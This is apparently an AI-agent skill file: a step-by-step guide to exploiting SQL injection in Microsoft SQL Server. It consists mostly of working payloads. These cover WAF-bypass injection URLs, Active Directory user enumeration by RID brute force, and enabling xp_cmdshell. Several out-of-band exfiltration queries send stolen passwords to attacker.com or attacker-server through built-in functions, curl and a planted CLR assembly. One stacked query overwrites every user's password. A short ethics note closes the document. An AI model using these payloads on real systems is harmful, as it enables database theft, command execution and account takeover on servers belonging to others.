MSSQL Injection Exploitation
A comprehensive guide for exploiting SQL injection vulnerabilities in Microsoft SQL Server databases.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection vulnerability and need to determine if it's MSSQL
- You need to enumerate Active Directory users from an MSSQL server
- You want to perform SSRF attacks through MSSQL functions
- You need to bypass WAFs that block standard SQL injection patterns
- You want to exfiltrate data from MSSQL databases efficiently
- You're working with MSSQL-specific stored procedures and functions
Quick Start
1. Identify MSSQL Server
First, confirm you're dealing with MSSQL by checking error messages or using version detection:
-- Check MSSQL version
SELECT @@version
-- Alternative version check
SELECT SERVERPROPERTY('productversion')
2. Enumerate Database Schema
-- Get all tables
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE'
-- Get columns from all tables
SELECT table_schema, table_name, column_name FROM information_schema.columns
-- Quick schema dump using FOR JSON (MSSQL 2016+)
SELECT * FROM information_schema.columns FOR JSON AUTO
Active Directory Enumeration
MSSQL servers often have access to Active Directory. You can enumerate domain users through SQL injection.
Get Domain Information
-- Get current domain name
SELECT DEFAULT_DOMAIN()
-- Get SID of domain Administrator (replace DOMAIN with actual domain)
SELECT master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\\Administrator'))
The SID will look like 0x01050000000[...]0000f401. The last 4 bytes represent the RID (Relative ID) in big endian format. 0000f401 = 500 (Administrator's common RID).
Enumerate Domain Users
Use SUSER_SNAME() to convert SIDs to usernames. The domain portion of the SID stays constant; only the last 4 bytes (RID) change.
-- Get username for RID 1000 (typically first regular user)
SELECT SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc2360000e803)
-- Brute force RIDs 1000-2000 to enumerate users
-- Use the script in scripts/enumerate_domain_users.py
Domain User Enumeration Script
Use scripts/enumerate_domain_users.py to generate SIDs for brute-forcing user RIDs:
python scripts/enumerate_domain_users.py --domain-sid "0x0105000000000005150000001c00d1bcd181f1492bdfc236" --start 1000 --end 2000
Error-Based Injection Vectors
Standard error-based patterns like +AND+1=@@version-- are often blocked by WAFs. Use these alternative vectors:
String Concatenation Bypass
Use %2b (URL-encoded +) to concatenate strings with function results:
-- Using USER_NAME()
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
-- Using SUSER_NAME()
https://vuln.app/getItem?id=1'%2bsuser_name(1)--
-- Using DB_NAME()
https://vuln.app/getItem?id=1'%2bdb_name()--
-- Using FILE_NAME()
https://vuln.app/getItem?id=1'%2bfile_name(1)--
-- Using TYPE_NAME()
https://vuln.app/getItem?id=1'%2btype_name(1)--
-- Using COL_NAME()
https://vuln.app/getItem?id=1'%2bcol_name(1,1)--
Functions That Trigger Type Conversion Errors
SUSER_NAME()- Returns username for SIDUSER_NAME()- Returns database user namePERMISSIONS()- Returns permissionsDB_NAME()- Returns database nameFILE_NAME()- Returns file nameTYPE_NAME()- Returns data type nameCOL_NAME()- Returns column name
SSRF via MSSQL Functions
MSSQL provides several functions that can trigger outbound network requests.
fn_xe_file_target_read_file
Requires VIEW SERVER STATE permission.
-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
-- Alternative check
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
-- SSRF payload
SELECT * FROM fn_xe_file_target_read_file(
'C:\*.xel',
'' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.xem',
NULL, NULL
)
fn_get_audit_file
Requires CONTROL SERVER permission.
-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
-- Alternative check
USE master;
EXEC sp_helprotect 'fn_get_audit_file';
-- SSRF payload
SELECT * FROM fn_get_audit_file(
'' + (SELECT pass FROM users WHERE id=1) + '.attacker.com',
DEFAULT, DEFAULT
)
fn_trace_gettable
Requires CONTROL SERVER permission.
-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
-- Alternative check
USE master;
EXEC sp_helprotect 'fn_trace_gettable';
-- SSRF payload
SELECT * FROM fn_trace_gettable(
'' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.trc',
DEFAULT
)
xp_dirtree, xp_fileexists, xp_subdirs
These stored procedures can make network requests (limited to TCP port 445 for xp_dirtree).
-- xp_dirtree example
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "' + @user + '.attacker-server\\aa"');
-- xp_fileexists example
EXEC master..xp_fileexist '\\attacker-server\\share\\file.txt';
-- xp_subdirs example
EXEC master..xp_subdirs '\\attacker-server\\share';
xp_cmdshell
Execute system commands (requires enabling first):
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced option', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;
-- Execute command
EXEC xp_cmdshell 'whoami';
-- SSRF via curl/wget
EXEC xp_cmdshell 'curl http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);
SQLHttp CLR Function
For advanced SSRF, create a CLR User Defined Function (requires dbo access):
- Download the SQLHttp project from https://github.com/infiniteloopltd/SQLHttp
- Build the assembly and add it to trusted assemblies:
EXEC sp_add_trusted_assembly
0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,
N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
-- Create assembly
CREATE ASSEMBLY HttpDb FROM 'C:\path\to\HttpDb.dll';
-- Create function
CREATE FUNCTION http(@url varchar(max))
RETURNS varchar(max)
EXTERNAL NAME HttpDb.[UserDefinedFunctions].http;
-- Use the function
DECLARE @url varchar(max);
SET @url = 'http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);
SELECT dbo.http(@url);
Quick Data Exfiltration
Retrieve Entire Table in One Query
Use FOR JSON clause (MSSQL 2016+) for concise data extraction:
-- Get all columns from all tables
SELECT * FROM information_schema.columns FOR JSON AUTO
-- With UNION injection
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
-- For error-based vectors (requires alias)
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Retrieve Current Query
View the currently executing query (requires VIEW SERVER STATE for all sessions):
SELECT text FROM sys.dm_exec_requests
CROSS APPLY sys.dm_exec_sql_text(sql_handle)
-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
WAF Bypass Techniques
Non-Standard Whitespace
Use Unicode whitespace characters to bypass filters:
-- %C2%85 (Next Line) and %C2%A0 (Non-breaking space)
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific and Hex Notation
Obfuscate UNION keyword:
-- Scientific notation
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
-- Hex notation
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Period Instead of Whitespace
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
Backslash-N Separator
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Unorthodox Stacked Queries
MSSQL allows stacking queries without semicolons:
-- Standard stacked queries
SELECT 'a'; SELECT 'b';
-- Without semicolons (WAF bypass)
SELECT 'a' SELECT 'b'
-- Complex example
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Practical WAF Bypass Examples
-- Add useless exec() to confuse WAF
admina'union select 1,'admin','testtest123'exec('select 1')--
-- Direct password update
admin'exec('update[users]set[password]=''a''')--
-- Enable xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Permission Checking
Always check what permissions you have before attempting techniques:
-- Check all server permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- Check specific permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
-- Check procedure permissions
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
EXEC sp_helprotect 'xp_cmdshell';
Safety and Ethics
- Only use these techniques on systems you have explicit authorization to test
- MSSQL injection can lead to full system compromise
- Document your findings and report vulnerabilities responsibly
- Be aware that some techniques (xp_cmdshell, CLR functions) require elevated privileges
References
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
- https://github.com/infiniteloopltd/SQLHttp
- https://www.notsosecure.com/oob-exploitation-cheatsheet/
- https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/